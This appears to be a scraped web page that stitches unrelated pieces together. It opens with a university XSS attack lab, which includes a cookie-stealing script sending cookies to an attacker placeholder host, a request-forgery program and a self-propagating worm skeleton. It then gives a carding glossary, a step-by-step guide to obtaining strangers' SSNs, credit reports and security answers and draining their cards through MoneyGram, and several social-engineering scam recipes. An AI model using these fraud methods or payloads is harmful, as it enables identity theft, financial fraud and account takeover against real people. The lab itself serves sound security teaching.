Pages

Cross-Site Scripting Vulnerability Exploitation and Website Hacking


Laboratory for Computer Security Education
1

Cross-Site Scripting (XSS) Attack Lab


Copyright c 2006 - 2010 Wenliang Du, Syracuse University.

The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.


  • Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser. Using this malicious code, the attackers can steal the victim’s credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using phpBB. We modified the software to introduce an XSS vulnerability in this mes-sage board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers’ goal is to post forged messages for the victims.

  • Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB message board web application. For the browser, we need to use the LiveHTTPHeaders exten-sion for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

% sudo apache2ctl start

or

% sudo service apache2 start

The phpBB Web Application. The phpBB web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB server. The password information can be obtained from the posts on the front page. You can access the phpBB server using the following URL (the apache server needs to be started first):



http://www.xsslabphpbb.com



Laboratory for Computer Security Education
2


Configuring DNS. This URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name (www.xsslabphpbb.com) to the virtual ma-chine’s local IP address (127.0.0.1). You may map any domain name to a particular IP address using the /etc/hosts. For example you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts file:

  1. www.example.com

Therefore, if your web server and browser are running on two different machines, you need to modify the /etc/hosts file on the browser’s machine accordingly to map www.xsslabphpbb.com to the web server’s IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/ sites-available" contains the necessary directives for the configuration:

  1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the ma-chine (some machines may have multiple IP addresses).

  1. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL http://www.example1.com with sources in directory /var/www/Example_1/, and to configure a web site with URL http://www.example2.com with sources in directory /var/www/Example_2/, we use the following blocks:

<VirtualHost *>


ServerName http://www.example1.com DocumentRoot /var/www/Example_1/

</VirtualHost>

<VirtualHost *>

ServerName http://www.example2.com DocumentRoot /var/www/Example_2/

</VirtualHost>


You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the directory /var/www/Example_1/.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever neces-sary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages. The C program can be downloaded from the web site for this lab.



Laboratory for Computer Security Education
3


Note for Instructors

This lab may be conducted in a supervised lab environment. In such a case, the instructor may provide the following background information to the students prior to doing the lab:

  1. How to use the virtual machine, Firefox web browser, and the LiveHttpHeaders extension.

  1. Basics of JavaScript and XMLHttpRequest object.

  1. A brief overview of the tasks.

  1. How to use the C program that listens on a port.

  1. How to write a java program to send a HTTP message post.

  • Lab Tasks

  1. Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

<script>alert(’XSS’);</script>

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

  1. Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user’s cookies will be printed out. For instance, consider the following message that contains a JavaScript code:


<script>alert(document.cookie);</script> Hello Everybody,

Welcome to this message board.


When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

  1. Task 3: Stealing Cookies from the Victim’s Machine

In the previous task, the malcious JavaScript code can print out the user’s cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a <img> tag with src set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker’s machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you (available on the web site of this lab).



Laboratory for Computer Security Education
4



Hello Folks,

<script>document.write(’<img src=http://attacker_IP_address:5555?c=’

+ escape(document.cookie) + ’ >’); </script> This script is to test XSS. Thanks.


  1. Task 4: Impersonating the Victim using the Stolen Cookies

After stealing the victim’s cookies, the attacker can do whatever the victim can do to the phpBB web server, including posting a new message in the victim’s name, delete the victim’s post, etc. In this task, we will write a program to forge a message post on behalf of the victim.
To forge a message post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what are sent to the server when a user posts a message. Firefox’s LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the the parameters of the message. A screen shot of LiveHTTPHeaders is given in Figure1. The LiveHTTPHeaders extension can be downloaded from http://livehttpheaders.mozdev.org/, and it is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The phpBB server cannot distinguish whether the request is sent out by the user’s browser or by the attacker’s Java program. As long as we set all the parameters correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

  1. Opens a connection to web server.

  1. Sets the necessary HTTP header information.

  1. Sends the request to web server.

  1. Gets the response from web server.

import java.io.*; import java.net.*;


public class HTTPSimpleForge {

public static void main(String[] args) throws IOException { try {

int responseCode; InputStream responseIn=null;

// URL to be forged.

URL url = new URL ("http://www.xsslabphpbb.com/profile.php");

  • URLConnection instance is created to further parameterize a

  • resource request past what the state members of URL instance

  • can represent.

URLConnection urlConn = url.openConnection(); if (urlConn instanceof HttpURLConnection) {

urlConn.setConnectTimeout(60000);

urlConn.setReadTimeout(90000);

}



Laboratory for Computer Security Education
5



  • addRequestProperty method is used to add HTTP Header Information.

  • Here we add User-Agent HTTP header to the forged HTTP packet. urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

//HTTP Post Data which includes the information to be sent to the server. String data="username=admin&seed=admin%40seed.com";

  • DoOutput flag of URL Connection should be set to true

  • to send HTTP POST message.

urlConn.setDoOutput(true);

  • OutputStreamWriter is used to write the HTTP POST data

  • to the url connection.

OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data);

wr.flush();

  • HttpURLConnection a subclass of URLConnection is returned by

  • url.openConnection() since the url  is an http request.

if (urlConn instanceof HttpURLConnection) {

HttpURLConnection httpConn = (HttpURLConnection) urlConn;

  • Contacts the web server and gets the status code from

  • HTTP Response message.

responseCode = httpConn.getResponseCode(); System.out.println("Response Code = " + responseCode);

  • HTTP status code HTTP_OK means the response was

  • received sucessfully.

if (responseCode == HttpURLConnection.HTTP_OK) {

  • Get the input stream from url connection object. responseIn = urlConn.getInputStream();

  • Create an instance for BufferedReader

  • to read the response line by line. BufferedReader buf_inp = new BufferedReader(

new InputStreamReader(responseIn)); String inputLine;

while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine);

}

}

}

} catch (MalformedURLException e) { e.printStackTrace();

}

}

}


If you have trouble understanding the above program, we suggest you to read the following:

JDK 6 Documentation: http://java.sun.com/javase/6/docs/api/

Java Protocol Handler: http://java.sun.com/developer/onlineTraining/protocolhandlers/



Laboratory for Computer Security Education
6


Limitation: The forged message post should be generated from the same virtual machine i.e. the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because phpBB uses IP address and the cookies for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim’s IP address would differ and hence the forged message post would be rejected by the phpBB server, despite the fact that the forged message carries the correct cookie information.

  1. Task 5: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim’s browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a cross-site scripting worm. For this web application, the worm program should do the following:

  1. Retrieve the session ID of the user using JavaScript.

  1. Forge a HTTP post request to post a message using the session ID.

There are two common types of HTTP requests, one is HTTP GET request, and the other is HTTP POST request. These two types of HTTP requests differ in how they send the contents of the request to the server. In phpBB, the request for posting a message uses HTTP POST request. We can use the XMLHttpRequest object to send HTTP GET and POST requests for web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly en-forced for XMLHttpRequest. This is not an issue for us, because we do want to use XMLHttpRequest to send a forged HTTP POST request back to the phpBB server. To learn how to use XMLHttpRequest, you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions:

You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. FireBug can be downloaded from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built Ubuntu VM image.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to the phpBB message board, you need to remove all the comments, extra space, and new-line characters.


<script>

var Ajax=null;

  • Construct the header information for the Http request Ajax=new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie);

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


  • Construct the content. The format of the content can be  learned



Laboratory for Computer Security Education
7


  • from LiveHttpHeader. All we need to fill is subject, message, and sid. var content="subject=" + "XSSWorm" + ...; // You need to fill in the details.

  • Send the HTTP POST request.

Ajax.send(content);

</script>


To make our worm work, we should pay attention to how the session id information is used by phpBB. From the output of the LiveHTTPHeaders extension, we can notice that sid appears twice in the message-posting request. One is in the cookie section (it is called phpbb2mysql sid). Therefore, the HTTP POST request sent out by XMLHttpRequest must also include the cookie. We already did it for you in the above skeleton code.
If we look carefully at the LiveHTTPHeaders output, we can see that the same session id also ap-pears in the line that starts with "subject=". The phpBB server uses the session id here to prevent another type of attack (i.e. the cross-site request forgery attack). In our forged message-posting request, we also need to add this session id information; the value of this session id is exactly the same as that in phpbb2mysql sid. Without this session id in the request, the request will be discarded by the server.


In order to retrieve the sid information from the cookie, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

  1. Task 6: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:

  1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:


<script id=worm>

var strCode = document.getElementById("worm"); alert(strCode.innerHTML);

</script>


  1. URL Encoding : All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding. The escape function can be used to URL encode a string. An example of using the encode function is given below.


<script>

var strSample = "Hello World";

var urlEncSample = escape(strSample); alert(urlEncSample);

</script>




Laboratory for Computer Security Education
8


  1. Under the URL encoding scheme the “+” symbol is used to denote space. In JavaScript programs, “+” is used for both arithmetic operations and string concatenation operations. To avoid this ambiguity, you may use the concat function for string concatenation, and avoid using addition. For the worm code in the exercise, you don’t have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

  • Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL:

http://www.hunlock.com/blogs/AJAX_for_n00bs.

[2] AJAX POST-It Notes. Available at the following URL:

http://www.hunlock.com/blogs/AJAX_POST-It_Notes.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:

http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial.

[4] The Complete Javascript Strings Reference. Available at the following URL:

http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.



Laboratory for Computer Security Education
9













http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1 Host: www.xsslabphpbb.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300

Connection: keep-alive

Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1 Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......

Content-Type: application/x-www-form-urlencoded Content-Length: 376

subject=<Content of the message>



HTTP/1.x 200 OK

Date: Thu, 11 Jun 2009 19:43:15 GMT Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3 X-Powered-By: PHP/5.2.6-3ubuntu4.1

Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/ Set-Cookie: phpbb2mysql_sid=YYYYYYYYY; path=/

Set-Cookie: phpbb2mysql_t=XXXXXXXXXXX; path=/

Cache-Control: private, pre-check=0, post-check=0, max-age=0 Expires: 0

Pragma: no-cache Vary: Accept-Encoding

Content-Encoding: gzip Content-Length: 3904 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html



Figure 1: Screenshot of LiveHTTPHeaders Extension

Carding Terms

Carding Terms:

3DS/3-D Secure - XML-based protocol designed to be an additional security layer for online credit and debit card transactions.

ACH - Automated Clearing House. The voluntary association of depositors, which achieves clearing of checks and electronic units by the direct exchange of means between the members of association.

Amex - American Express.

ATM - An unattended, magnetic stripe-reading terminal that dispenses cash; accepts deposits and loan payments; enables a bank customer to order transfers among accounts and make account inquiries.

Authorization - The process in which a credit card is accepted, read and approved for a sales transaction. Credit card authorization is normally accomplished by reading a credit card through a credit card reader that is integrated into a register or stand-alone reading device. Generally, pertinent credit information is transmitted via a modem and telephone line to a credit card "clearinghouse". The clearing house (authorization source) communicates with the credit card's bank for approval and the appropriate debit amount of the sale.

AVS - Address Verification System. Used for confirmation the card belongs exactly to its holder.

BIN - Bank Identification Number. First 6 digits of PAN. Used to identify the Issuing Bank and Card Type.

Blockchain - The "core" of bitcoin; usually refers to blockchain.info, where all bitcoin transactions are publicly recorded.

BTC - Bitcoin. Anonymous digital currency.

BTC Address - a unique identifier which allows you to receive bitcoins.

Chargeback - Cardholder's bank voids the removal of money from it's card.

CC - Credit Card. Usually refers to physical card.

CID - Card Indentification Number. 4 digit verification code on front of card [Amex].

COB - Change of billing. Used for online carding, to change the billing address of a card since Online Stores will only ship large items if the billing and shipping address match. Once you have this, you can easily change the card address to that of your drop so that the stores ship items to your drop, since the billing and shipping addresses will match.



Coercivity--The measure of how much magnetic force is needed to change the state of a magnetized element. The higher the coercivity, the more force is needed. There are two types of magnetic stripe cards, low coercivity and high coercivity. While low coercivity cards can be erased if they get too close to a common magnet, high coercivity cards are not as easily erased.

CVC/CVC2 - Card Verification Code. Same as CVV, but for Mastercard.

CVV/CVV2 - Card Verification Value. 3 digit code on reverse of card used to validate Card-not-Present purchases [Visa]. Alternatively it can be used to refer to basic stolen card information [PAN+EXP+CVV].

DC - Debit Card. Card, which resembles the credit card by the method of using, but making possible to realize direct buyer account debiting at the moment of the purchase of goods or service.

Deer - Scammer (buyer)

Direct Debit - Payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.) with which the debitor authorizes his financial establishment to debit his current account when obtaining of calculation on payment from the indicated creditor.

DL - Driver's License.

DOB - Date of Birth.

Drop - Anonymous address which is unconnected to the carder, where packages can be sent.

Dump - information, which is written to the magnetic strip of the card. It consists of 1,2 or 3 tracks.

EFT - Electronic Fund Transfer. The remittance of means, initiated from the terminal, telephone or magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale - EFT/POS).

EFT/POS - Electronic Fund Transfer/Point of Sale. Debiting from the electronic terminal, for the means transfer purpose from the account of a buyer into the payment on the obligations, which arose in the course of transaction at the point of sale.

Embosser - a machine designed for use with plastic cards to create raised print characters.

EMV - Europay, MasterCard and VISA. A global standard for inter-operation of


integrated circuit cards.

Encoder - Read/write device for the magnetic track of the card.

E-shop - Online shop.

Exp - Expiry Date.

ewallet - External provider where bitcoins can be stored.

Fulls/Fullz - Credit card data which comes with additional information such as DOB, SSN, MMN, Bank information etc. Clarify with each vendor what their fulls include.

GSM - Global System for Mobile Communication. A communications standard for mobile phones.

Hologram - A unique form of photographic printing that is a flat optical image that to the naked eye looks and provides a three-dimensional effect on a flat surface. Holograms cannot be easily copied and are used for security and aesthetic purposes on cards.

ICC - Integrated Circuit Card (also as chip card). Card equipped with one either several computer micros-chip or integrated microcircuits for identification and storing of data or their special treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for delivery of permission for the purchase, account balance checking and storing the personal records. In certain cases, the card memory renewal during each use (renewed account balance).

ICQ - Instant messaging service popular among carders.

IIN - same as BIN.

ISO - International Standardisation Organisation. International organization, which carries out standardization, with the staff office in Geneva, Switzerland.

Issuing Bank - Financial Institution that issued the card.

Jabber - an open source, XML-based instant messaging platform commonly used by carders.

LR - Liberty Reserve. Anonymous digital currency [now obsolete].

MC - Mastercard.

MCSC - Mastercard Secure Code - Mastercard's implementation of 3-D Secure protocol.

Merchant account - Bank account for accepting credit cards.



MICR - Magnetic Ink Character Recignition. System, which ensures the machine reading of the information, substituted by magnetic inks in the lower part of the check, including the number of check, the code of department, sum and the number of account.

MMN - Mother's Maiden Name.

NFC - Near Field Communication. A technology standard for very-short-range wireless connectivity that enables quick, secure two-way interactions. Similar to RFID and incorporated into most modern smartphones.

OTR - Off the Record. Cryptographic protocol that provides strong encryption for instant messaging conversations.

PAN - Primary Account Number. Usually refers to 16 digit number on front of card.

Pidgin - Instant messaging client supporting AOL, Yahoo, MSN, ICQ and Jabber networks.

PIN - Personal Identification Number. A 4-12 character secret code that allows an issuer to positively authenticate the cardholder for the purpose of approving an ATM or terminal transaction occurring at a point-of- interaction device.

Plastic - Physical card. Usually refers to blank or cloned cards.

POS - Point of Sale. Term normally used to describe cash register systems that record transactions or the area of "checkout" in a retail store.

Reader - A device that reads the magnetic stripe on a credit card for account information to automatically be processed for a transaction. A credit card reader is either integrated into a register, attached onto a register as a separate component or is part of a stand-alone terminal dedicated for the sole function of processing credit card transactions.

Ripper - Scammer (vendor)

RFID - Radio Frequency Identification. Technology which allows an object or person to be identified at a distance, without physical contact, using radio waves to energise and communicate with some form of tag or card.

Skimming - The fraudulent copying of the magnetic stripe stored information.

SIM - Subscriber Identification Module. Smart card that connects to a GSM phone and establishes the users identity.

Socks - SOCKet Secure. Internet protocol that routes network packets between a client and server through a proxy server.



SSN - Social Security Number.

Tipper - a machine designed for foil stamping of raised print characters on plastic cards (see also Embosser).

Track - One of up to three portions of a magnetic stripe where data can be written.

Track 1 - Information on a credit card that has a 79 character alphanumeric field for information. Normally a credit card number, expiration date and customer name are contained on track 1.

Track 2 - Information on a credit card that has a 40 character field for information. Normally a credit cad number and expiration date are contained on track 2.

Track 3 - Normally not used. Information on a credit card that has 107 character field for alphanumeric information. Normally a credit card number, expiration date and room for additional information are available on track 3.

VBV - Verified by Visa - Visa's implementation of 3-D Secure protocol.

VPN - Virtual Private Nework.

XMPP - See entry for Jabber.

Check Bank Acc. Without Answering Security Questions

How to Get a BackGround Check and Credit Report On Anyone

How To Get a Background Check and Credit Report on ANYONE ! Links and Method working as of publication – Febuary 8, 2015
Having this information can be very beneficial for answering security questions, opening bank accounts, applying for credit, verifying accounts, among many other things. However, getting this information can be a little tricky, and sometimes unobtainable. With a little luck and this guide, you will have the tools and resources to give you the best chance possible to obtain this information.
There are a couple things you will need first. Some are required and some are very helpful to have. Obviously, it helps to have a person’s fullz which include:
1. Persons full legal name 2. Current and/or previous addresses 3. Date of Birth (DOB) and Social Security Number (SSN) 4. Mothers maiden name
However, the only two things that are required are FULL LEGAL NAME and a USA CVV or anonymous debit card. I use This Site. You will also need to know one of the following things about the person; their city, state, zip code, or DOB. Google is your friend and if the person’s name is unique enough you can obtain most of this information with a simple search.To get the persons DOB, the easiest way is to use the online database familysearch.org.
There are 100’s of these services, some are free and some charge a fee. Just use your CVV if you need to pay for background check. Having a background check will help out when trying to get the credit report described later in this guide but familysearch.org has pretty much all the background info you need, and it’s FREE. Once we have located the DOB and any other information on the subject, we can now get their SSN. Go to ssnfinder.ru and register for free. Once you are logged in they charge $3.00 per search. You will need the full legal name of the subject and either the city, state, zip code, or DOB. From my experience they are successful finding the SSN about 80% of the time. At this point you should have the needed background
information to complete the next step.
First, register at 3 sites offering credit report like Site #1 Site #2 Site #3 Site #4 Site #5
Again there are tons options and the more you try the better chance you have to be successful.
Start to sign up for these services with all the information you have obtained including SSN and DOB. At some point they will ask you security questions to verify you are the person you are trying to get information on. Normally, all of them will ask you same questions so keep track of your answers. Most questions you should be able to answer with the information you previously obtained or simply searching Google. For the questions you have to guess on, make note of how you answered and it helps to capture the screen to remember.
After you click the Submit button you will know if you were successful or not. If it says that you are verified you got all the questions correct! You don't need to do anything else with the other credit report websites. But if it says Wrong answers then leave this website and go the second one. Again, the questions should be almost the same. Check the answers you used for the last website and guess a different one. Click submit and wait and see what the webpage says. If it says you are verified then you’re done. Otherwise continue to the third, fourth, so on until you get all answers correct.At this point you will have the background report, credit report, and make sure you save the answers to the security questions you just answered correctly. These are different than the security questions the user might have created for online banking or accounts they have already created but they will be the same for when you need to create new accounts on Coinbase or creating online bank accounts. You can also use this information to create a Money Gram account to send money with bank account or credit cards.
Register on Money Gram website using all the information you just obtained. When you come to the payment page, they will ask the same questions you had to answer to get the credit report. Answer questions and send transfer! You can use any credit card owned by anyone as long as you change the address on record with MG to the address of the card holder. No need to change MG account name. Money Gram doesn’t make the connection between account owner and credit card owner. They will authorize the transfer as long as you answer the security questions and the Money Gram address matches the CVV address.

ENJOY!

7 Yasulo Social Engineering Scams

All Of Yasuos SE Scams
*******************************************************************************
AMAZON GIFTCARD SCAM #1
1. Go to craigslist. 2. Search the keyword "Amazon" in every city in every state. 3. Find one that has $500 AGC. 4. Tell them to send you a picture of the card while covering the claim code. 5. Get the serial number. 6. Go to live chat. 7. Tell them you can't scratch the claim code no matter what you do. 8. Make sure you are chatting inside an account. 9. They apply the gift code on your account. 10. IMPORTANT! Make sure you order from a 3rd-party seller. [Please order from established vendors. Not from people who only have 50 sales] 11. Choose the fastest shipping. It should ship the day after. 12. Craigslist owner reports fraud. 13. Item was shipped. Amazon can't intercept. 14. ??? 15. $500 profit.
********************************************************************************
AMAZON GIFTCARD SCAM #2
1. Go to Taskrabbit. 2. Make a credible profile. 3. Find a Taskrabbit or post a job. 4. Tell them you need someone to buy you an Amazon Gift Card because your bank only allows you a maximum of 2 online purchases per day for security purposes. 5. Taskrabbit is easy to card but they are quick to close accounts. So you have to finish everything in a couple of hours. 6. People will do this for you. 7. From there, follow step #10 onwards on the guide posted above.
********************************************************************************
FREE FOOD FROM FASTFOOD COMPANIES
1. Contact your fastfood company of choice. 2. Tell them you went to there branch yesterday and ordered something to-go. 3. After driving, you decided to eat what you ordered. 4. Tell them that something isn't right. This food is sour and had a chewy texture(when it's not supposed to be chewy) and the softdrink wasn't carbonated at all. 5. Convince them using your SE skills and tell them that you have been a loyal customer ever since you were a highschool. 6. Either they offer you the free meal right now or try to tell them that you will tell your friends and families to never order from them anymore. 7. FINAL TIP: Always ask for the manager as she has the right to give you a free meal and sometimes you even get more.
Most I did was Pizzahut. I got 3 large pizzas, 8 drinks, 4 sides, and 2 desserts. On top of that I got a $50 Gift Certificate.
********************************************************************************
HOW TO EAT IN ANY HOTEL'S BUFFET. FREE OR ALMOST-FREE
FREE 1. Before going to the hotel, call the hotel a night before, and pretend that you're a delivery guy. 2. Now tell them to forward your call to this hotel room number. 3. Once you're there, talk as if you're the manager. 4. Then say this: "Hello, is this Mrs. Parker? This is the manager speaking. We are just doing an information check of our guests to make sure they are having a quality time in "hotel name here". " 5. If she says no, tell her/him to verify his/her name. 6. Once done, drop the call. 7. Following morning, go to the hotel, and walk straight into the buffet lounge. Grab a plate and eat then leave. 8. If they ever ask you for a ticket or something, tell them you are from room # and you're with the guy/girl who sleeps there. 9. They won't even ask for any verification. 10. ENJOY!
Works all the freaking time
ALMOST FREE 1. Treat your friends on an all nighter of beer in a hotel with a buffet. 2. Check in at 2AM. 3. Drink some booze with strippers and etc 4. When it's breakfast time, just go to the buffet. 5. I don't really prefer this as I don't want to pay, but it's good to use on bigger hotels. 6. If you don't want to pay for the hotel, scratch your body repeatedly, tell them you're allergic to bed bugs. 7. They will refund your money and you get your free buffet.
********************************************************************************
HOW TO GET $3000+. A BIT HARD TO EXECUTE
1. Good social engineering skills is a must in this one. 2. First step, call/email your local pharmacy. 3. Tell them you bought this kind of pregnancy test kit. 4. The kit said it was positive. You are now in a bad situation. 5. As a desperation move for verification, you went and see your local doctor. You did tests of up to $2000. 6. The doctor has concluded the the pregnancy test kits were faulty and you just wasted $2000. 7. Now they will ask you for the brand, you just throw in any name, make sure it's available in the pharmacy.
OUTCOME: 1. They will not accept it without any letter from the doctor and receipt for the tests. [Just ditch that pharmacy and move on to the next one] 2. They will say sorry and they will send you a check amounting the costs and other extra money.
********************************************************************************
THE ART OF AMAZON GIFT CARD SCAMMING
1. This method was originally made by me. I'm 100% sure with that. I started this back at 2005(when I started refunding Amazon). And there was a a clearnet method for this on 2012+ or somethign. 2. Alright basically what you do is to go to sites where sellers are actually people and not site owners. 3. The trick is to tell them that you're interested in their Amazon Gift Cards, but tell that you are not a time-waster and you want to make sure you get a valid card when you meet in person. 4. Tell them to take a picture of the back of the gift card. Tell them to make the serial number visible(or just get the serial number alone.) 5. Tell them that you have to verify with Amazon that the card is working before you meet up with him/her. 6. Now, we got a serial number. Head over to Amazon's Live Chat. 7. Tell them you bought a PHYSICAL Gift Card from Craigslist and when you tried to scratch on the claim code, you scratched it too hard that none of the letters/numbers are visible. 8. They will ask for the serial number now. 9. Results will be: A: They will redeem that balance on your account. B: Ignore you and tell you they cannot help you. (If ever this happens, close the chat and talk to another agent.) TIP: Indian customer agents are best.
********************************************************************************
HOW TO GET AN AMAZON KINDLE ANY MODEL FOR FREE

1. Go to Craigslist/Google/Bestbuy or where you want. 2. Get a Kindle serial. 3. Go to Amazon. 4. Tell them, you bought a Kindle from this store/seller. Tell the date that it doesn't cover the initial seller's warranty. 5. You left it charged overnight. 6. You woke up to a smell of fire. 7. Went and look outside the Kindle is burning. 8. Apartment landlady who is a fucking bitch now asked you $1000 for repairs. 9. Amazon will ask you to ship the item back to them. 10. Tell them, there was mercury leaking out of the Kindle. 11. You went to the postal office. 12. You cannot send it because the post office won't send items containing mercury. 13. They will either give you a free Kindle of the same model or gift card if you want.

Statistics Help Online

Are you a college student taking a statistics course and interested in paying someone to do mymathlab  for you ? We provide stats help in ar...